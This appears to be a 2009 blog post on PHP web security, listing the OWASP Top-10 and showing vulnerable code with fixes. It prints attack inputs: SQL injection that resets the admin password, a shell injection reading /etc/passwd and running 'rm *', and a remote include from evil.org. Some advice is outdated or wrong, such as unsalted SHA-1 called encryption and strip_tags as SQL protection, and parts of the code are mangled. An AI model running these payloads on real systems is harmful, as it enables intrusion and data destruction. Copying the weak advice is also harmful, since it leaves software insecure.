Tuesday, November 24, 2009

The OWASP Top-10 WEB SECURITY

The OWASP Top-10

A1. Unvalidated Input
A2. Broken Access Control
A3. Broken Authentication and Session Management
A4. Cross Site Scripting
A5. Buffer Overflow
A6. Injection Flaws
A7. Improper Error Handling
A8. Insecure Storage
A9. Application Denial of Service
A10. Insecure Configuration Management

php basic security methods

Basic Security Methods
The following should be in place in your system, as a minimum.
  1. Login names and passwords should be 6 characters long, or more
  2. In the event of login failure, be very uncooperative
    Tell the user "Your login attempt was unsuccessful", not "Your password was missing the letter x" or "Your username is not in our system". Give very few leads as to why the login failed. They only serve to help intruders.
  3. Handle errors gracefully
    Place the ampersat symbol (@) in front of many of your PHP function calls. If they fail, the ampersand will stop from from showing that failure in the browser window. This is very useful when making database calls but your database is down, or the SQL statement returns an error. Such messages would only give feedback to intruders, or look unprofessional to regular users.
  4. Passwords in the user account table of your database must be encrypted (SHA-1)
    If someone were to somehow gain access to the database itself, and view all of the user accounts, they would be able to see logins, but not passwords. Unless they changed the password, which would alert the user once they realized they couldn't log in, or they tried to crack the encrypted password (possible, but hard) they would have no way of using their newly found information.
    To accomplish this, the "password" field in your SQL datbase should be 40 characters long, which will hold an SHA-1 encrypted string. Before you compare the user input password to the one stored in the database, use the PHP sha1() function to encrypt it.
    Example: $encrypted = sha1($password);
    Sample database data:
    Login name: bobsmith
    Password: d0be2dc421be4fcd0172e5afceea3970e2f3d940
  5. Never use "admin" or "root" as your adminstrator login name
    Try to use something else, one that gives the same idea, but is more unique. Some examples are: superman, wonderwoman, allpower, etc...
  6. Log the total number of logins for each user, as well as the data/time of their last login
    Logging the total is just a good indicator, and *may* be useful for security purposes depending on your system. Keeping track of their last login is very useful in the event that someone logged in using their account, without permission. You now know the time it happened, and if you log the date/time of any changes in your database and by whom, you can track what that intruder did while logged in.
    In order to accomplish the above, the user account table in your SQL database should have three extra fields:
    Logincount of type INTEGER
    Lastlogin of type TIMESTAMP (or datetime)
    Thislogin of type TIMESTAMP (or datetime)
    When the user logs in, in PHP, update that user's information in the database by incrementing their login count and by getting the timestamp using PHP's built in date() function. After successful login, first transfer the info stored in 'Thislogin' to the 'Lastlogin' field, and then insert the new date/time into 'Thislogin'.
  7. Strip backslashes, HTML, SQL and PHP tags from any form field data
    If someone maliciously tries to send HTML, SQL or PHP code through a text field entry not meant to expect it, they can disrupt or break your code. Use the following PHP functions to strip out such text:
    strip_tags(), str_replace() and stripslashes()
    Example: $login = @strip_tags($login);
    Example: $login = @stripslashes($login);
  8. Add "LIMIT 1" to the end of your SQL statements
    That will limit the number of results to just 1. If someone successfully hijacks your site, and is able to run a SQL statement that returns data, or deletes it, placing "LIMIT 1" at the end of any SQL string will help limit the amount of data they are able to see or damage.
    Example: SELECT * FROM useraccount WHERE Login='$login' AND Password='$encrypted' LIMIT 1
  9. Use the "maxlength" option in your HTML form elements
    Limit the user to the allocated input size. If an login field in your SQL schema is of size 8 characters, limit the text field input to 8 using maxlength.
    Example:
  10. Trim any and all form field data
    Trim down the length of any form field data. If you expect a string of length 8, don't rely on the HTML maxlength (above), or the kindness of the user to pass you a string that long. Cut it down to size. Always.
    substr()
    Example: $login = @substr($login, 0, 8);
  11. Check the referrer
    Make sure the login script checks the HTTP_REFERER to see where the request came from. It should come from your HTML form, on the same server. If not, reject the login attempt. Though, I must tell you the HTTP_REFERER is easy to "spoof", or fake, so this security measure is easy bypass. It will only stop simple spam bots, or the most amateur of attackers.
  12. Use $_POST not $_REQUEST
    If your HTML form uses POST to send the data to the login script, then make sure your login script gets the input data using $_POST, and not $_REQUEST. The latter would allow someone to pass data via GET, on the end of the URL string.
  13. SSL Encryption (https)
    To better ensure the privacy of the data being sent across the internet, purchase an SSL certificate to encrypt the login page, and any others.
  14. In general, limit user access according to their role
    Design your system to give users specific layers, or subsets of access. Not everyone needs to be all powerful, nor all knowing. Using the unix group idea as your starting point. Classify users and give them features based on that. If you have a system with multiple users who have different roles, give them functionality based on those roles. Accountants, and only allow accountants can see financial data, not warehouse inventory or much else. The person at the cash register can enter in a sale, but not delete it. That is a managers job, and needs override permission. Etc....

php security

The basic rule for writing a secure application is: never trust user input. Poorly validated user input constitutes the most severe security vulnerabilities in any web application. In other words, input data should be considered guilty unless proven innocent.

Global Variable Scope

PHP versions prior to 4.2.0 registered by default all kinds of external variables in the global scope. So no variable could be trusted, whether external or internal.

Look at the following example:

   if (authenticate_user()) {

$authenticated = true;
}
...

if (!$authenticated) {
die("Authorization required");
}
?>

If you set $authenticated to 1 via GET, like this:

http://example.com/admin.php?authenticated=1

you would pass the last “if” in the previous example.

Thankfully, since version 4.1.0, PHP has deprecated register_globals. This means that GET, POST, Cookie, Server, Environment and Session variables are no longer in the global scope anymore. To help users build PHP applications with register_globals off, several new special arrays exist that are automatically global in any scope. They include $_GET, $_POST, $COOKIE, $_SERVER, $_ENV, $_REQUEST and $_SESSION.

If the directive register_globals is on, do yourself a favor and turn it off. If you turn it off and then validate all the user input, you made a big step toward secure programming. In many cases, a type casting is sufficient validation.

Client-side JavaScript form checks do not make any difference, because an attacker can submit any request, not only one that is available on the form. Here is an example of what this would look like:

   $_SESSION['authenticated'] = false;

if (authenticate_user()) {
$_SESSION['authenticated'] = true;
}
...
if (!$_SESSION['authenticated']) {
die("Authorization required");
}
?>
Database Interactions

Most PHP applications use databases, and they use input from a web form to construct SQL query strings. This type of interaction can be a security problem.

Imagine a PHP script that edits data from some table, with a web form that POSTs to the same script. The beginning of the script checks to see if the form was submitted, and if so, it updates the table the user chose.

   if ($update_table_submit) {

$db->query("update $table set name=$name");
}
?>

If you do not validate the variable $table that came from the web form, and if you do not check to see if the $update_table_submit variable came from the form (via $POST['update_table_submit']), you can set its value via GET to whatever you want. You could do it like this:

http://example.com/edit.php?update_table_submit

=1&table=users+set+password%3Daaa
+where+user%3D%27admin%27+%23
which results in the following SQL query:
update users set password=aaa

where user="admin" # set name=$name
A simple validation for the $table variable would be to check whether its content is alphabetical only, or if it is only one word (if (count(explode("",$table)) { ... }).
Calling External Programs

Sometimes we need to call external programs (using system(), exec(), popen(), passthru() or the back-tick operator) in our PHP scripts. One of the most dangerous security threats is calling external programs if the program name or its arguments are based on user input. In fact, the PHP manual page for most of these functions includes a note that warns: “If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.”

Imagine the following example:

   $fp = popen('/usr/sbin/sendmail -i '. $to, 'w');

?>

The user can control the content of the variable $to above in the following manner:

http://example.com/send.php?$to=evil%40evil.org+

%3C+%2Fetc%2Fpasswd%3B+rm+%2A
The result of this input would be running this command:
/usr/sbin/sendmail -i evil@evil.org

/etc/passwd; rm *
A simple solution to resolve this security problem is:
   $fp = popen('/usr/sbin/sendmail -i '.

escapeshellarg($to), 'w');
?>
Better than that, check whether the content in the $to variable is a valid e-mail address, with a regexp.
File Upload

User-uploaded files also can be problematic because of the way PHP handles them. PHP will define a variable in the global scope that has the same name as the file input tag in the submitted web form. Then, it will create this file with the uploaded file content, but it will not check whether the filename is valid or is the uploaded file.

   if ($upload_file && $fn_type == 'image/gif' &&

$fn_size < 100000) {
copy($fn, 'images/');
unlink($fn);
}
?>
action="fupload.php" enctype="multipart/form-data">
File:
value="Upload">

A malicious user could create his own form specifying the name of some other file that contains sensitive information and submit it, resulting in the processing of that other file. For example,

action="fupload.php">

value="/var/www/html/index.php">
value="text">
value="22">
value="Upload">
The above input would result in moving the file /var/www/html/index.php to images/.

A solution for this problem is to use move_uploaded_file() or is_uploaded_file(). However, there are some other problems with user-uploaded files. Imagine that you have a web application that lets users upload images smaller than 100Kb. In this case, even using move_uploaded_file() or is_uploaded_file() would not solve the problem. The attacker still could submit his form specifying the file size, as in the prior example. The solution here is to use the super-global array $_FILES to check user uploaded file information:

   if ($upload_file &&

$_FILES['fn']['type'] ==
'image/gif
$_FILES['fn']['size'] < 100000) {
move_uploaded_file(
$_FILES['fn']['tmp_name'],
'images/');
}
?>
Include Files

In PHP you can include local or remote files by using include(), include_once(), require() and require_once(). This is a good feature, because it allows you to have separate files for classes, reused code and so on, increasing the maintainability and readability of your code.

The concept of including remote files is dangerous in itself, though, because the remote site could be compromised or the network connection could be spoofed. In either scenario, you are injecting unknown and possibly hostile code directly into your script.

Including files presents some other problems, especially if you include files whose filename or path is based on user input. Imagine a script that includes several HTML files and displays them in the proper layout:

include($layout);

?>

If someone were to pass the $layout variable through GET, you probably can figure out what the consequences might be:

http://example.com/leftframe.php?layout=/etc/passwd

or
http://example.com/leftframe.php?layout=

http://evil.org/nasty.html
where nasty.html contains a couple lines of code, such as:
   passthru('rm *');

passthru('mail
?>
To avoid this possibility, you should validate the variable you use in include(), perhaps with a regexp.
Cross-Site Scripting

Cross-site scripting (CSS) has been receiving a great deal of press attention. A simple search in the BugTraq mail archives retrieved 15 different reports from June 2002 alone, about cross-site scripting vulnerabilities in several applications.

This kind of attack works directly against the users of your site. It does this by tricking the victim into making a specific and carefully crafted HTTP request. This can happen through a link in an HTML e-mail message, in a web-based forum or embedded in a malicious web page. The victim may not know he is making such a request, if the link is embedded into a malicious web page for example, and the attack may not even require user facilitation. That is, when the user's browser receives the page requested, the malicious script is parsed and executed in the security context of the user.

Modern client-side scripting languages also can execute a number of functions that can be dangerous. Although, for example, JavaScript allows only the originating site to access its own private cookies, the attacker can bypass such a restriction by taking advantage of poorly coded scripts.

The common scenario for CSS attacks is when a user is logged in to a web application and has a valid session stored in a session cookie. The attacker constructs a link to the application from an area of the application that doesn't check user input for validity. It essentially processes what the victim requests and returns it.

Here is an example of such a scenario to illustrate my point. Imagine a web-mail application that blindly prints the mail subject in a mailbox list, like this:

   ...

echo " $subject ";
?>

In this case, an attacker could include JavaScript code in an e-mail subject, and it would be executed in the user's browser when he opens the mailbox.

This vulnerability then can be used to steal a user's cookies and allow the attacker to take over the user's session, by including JavaScript code like this:



When the user opens the mailbox, he will be redirected to the URL specified in the JavaScript code, which includes the victim's cookie. The attacker then simply needs to check his web server logs to know the victim's session cookie.

A vulnerability could be fixed by using htmlspecialchars() when printing variables. htmlspecialchars() converts special characters to HTML entities, meaning it will convert the <> characters from the
If the attacker can get us to select a link such as this one, it is possible that our browser will be redirected to the attacker's site, as in the previous example. But because the variable $page is integer, you could cast it or use the PHP function intval() to avoid this problem:

value="">

Again, to avoid this kind of attack you always should perform user validation or insure that user-submitted data always is HTML-escaped before displaying it.
Conclusions